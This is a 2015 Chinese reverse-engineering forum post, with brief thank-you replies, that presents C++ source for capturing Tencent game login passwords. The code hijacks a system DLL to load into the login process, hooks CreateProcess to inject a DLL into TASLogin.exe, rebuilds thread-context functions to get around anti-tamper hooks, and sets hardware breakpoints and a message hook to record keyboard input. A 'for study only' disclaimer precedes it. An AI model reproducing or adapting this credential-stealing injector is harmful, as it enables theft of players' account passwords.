首页
社区
课程
招聘
3
[原创]TX游戏登陆密码截取(详细,高清有码)
发表于: 2015-7-3 11:34 33360

[原创]TX游戏登陆密码截取(详细,高清有码)

2015-7-3 11:34
33360

Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担

1
2
3
4
5
6
此文重点:
 1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
2、安装消息勾子,判断当前输入焦点
3、自己构造ZwSetContextThread,和ZwGetContextThread
4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
5、实现解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned int  WINAPI _WorkThread(void * lpPram)
{
    TCHAR tcWorkDll[MAX_PATH];
    GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
    *( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
    _stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
    hTestModule=LoadLibrary(tcWorkDll);
    return 0;
}
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
        if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
        {
            hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
        }
        using namespace AheadLib;
        return Load();
    }
    else if (ul_reason_for_call == DLL_PROCESS_DETACH)
    {
        using namespace AheadLib;
        Free();
    }
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
    )
{
    BOOL bRet =FALSE;
    CHAR tcText[MAX_PATH];
    if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
    {
        GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
        return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
            bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
    }
    return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
        bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
}
 
void StartWork()
{
     
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
 
    TCHAR tcText[100];
    TCHAR  lpProcessName[50]={0} ;
    _tcscpy_s(lpProcessName, GetCurProcessName().c_str());
 
    if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
    {
        DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess);  //HOOK CreateProcess,实现完美注入TSALogin.exe
    }
    if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
    {
        DWORD dwOldProtect;
        //自己构造  ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
        ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
        ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
        ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
        ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);
 
        VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
        VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
 
        *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
        *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
        *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
        *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread  -(DWORD)g_ZwSetContextThreadZone -5;
 
        /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
        OutputDebugString(tcText);*/
 
        //Hook RtlDispatchException
        ProcessDispatchException(); //设置硬件断点,监视键盘输入
 
        g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
        OutputDebugString(_T("TSALogin.exe注入成功"));
    }
    DetourTransactionCommit();
}
 
extern void StartWork();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hMod=hModule;
        StartWork();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
赞赏记录
参与人
雪币
留言
时间
飘零丶
为你点赞~
2024-5-31 05:14
shinratensei
为你点赞~
2024-5-31 05:07
PLEBFE
为你点赞~
2023-2-26 03:32
最新回复 (74)
雪    币: 2620
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
占个位置
2015-7-3 12:16
0
雪    币: 60
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
给赞 给谢,加支持.
2015-7-3 12:20
0
雪    币: 2281
活跃值: (948)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
帮楼主顶一下!
2015-7-3 12:24
0
雪    币: 459
活跃值: (166)
能力值: ( LV9,RANK:165 )
在线值:
发帖
回帖
粉丝
5
感谢分享,前排占位
2015-7-3 12:30
0
雪    币: 114
活跃值: (627)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
6
多谢。。。
2015-7-3 12:36
0
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
你这个简历明显写得不好
2015-7-3 12:39
0
雪    币: 114
活跃值: (627)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
8
随便写写。总要大概先合适呗。这本来就是附带的。
2015-7-3 13:03
0
雪    币: 256
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
赞         学习一下
2015-7-3 13:07
0
雪    币: 341
活跃值: (153)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
10
肯定会找到好工作
2015-7-3 14:04
0
雪    币: 114
活跃值: (627)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
11
多谢吉言哦
2015-7-3 14:21
0
雪    币: 21791
活跃值: (4875)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
谢谢分享 !
2015-7-3 16:43
0
雪    币: 76
活跃值: (226)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
13
帮楼主顶一下!
2015-7-3 16:46
0
雪    币: 79
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
帮楼主顶一下哦~
2015-7-3 16:56
0
雪    币: 5
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
赞,学习一下
2015-7-3 17:40
0
雪    币: 52
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
顶一下楼主1
2015-7-3 18:10
0
雪    币: 289
活跃值: (77)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
帮顶,学习一下
2015-7-3 19:26
0
雪    币: 235
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习学习
2015-7-3 23:54
0
雪    币: 7010
活跃值: (9694)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
19
厉害啊!
2015-7-4 00:01
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
帮楼主顶一下
2015-7-4 00:27
0
雪    币: 219
活跃值: (878)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
21
6666 支持一下,顺便撸主一定会找到好工作的
2015-7-4 02:09
0
雪    币: 409
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
占个位置
2015-7-4 07:05
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
mark一下
谢谢
2015-7-4 08:44
0
雪    币: 101
活跃值: (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
up....
2015-7-4 09:46
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
感谢分享,学习一下
2015-7-4 10:25
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册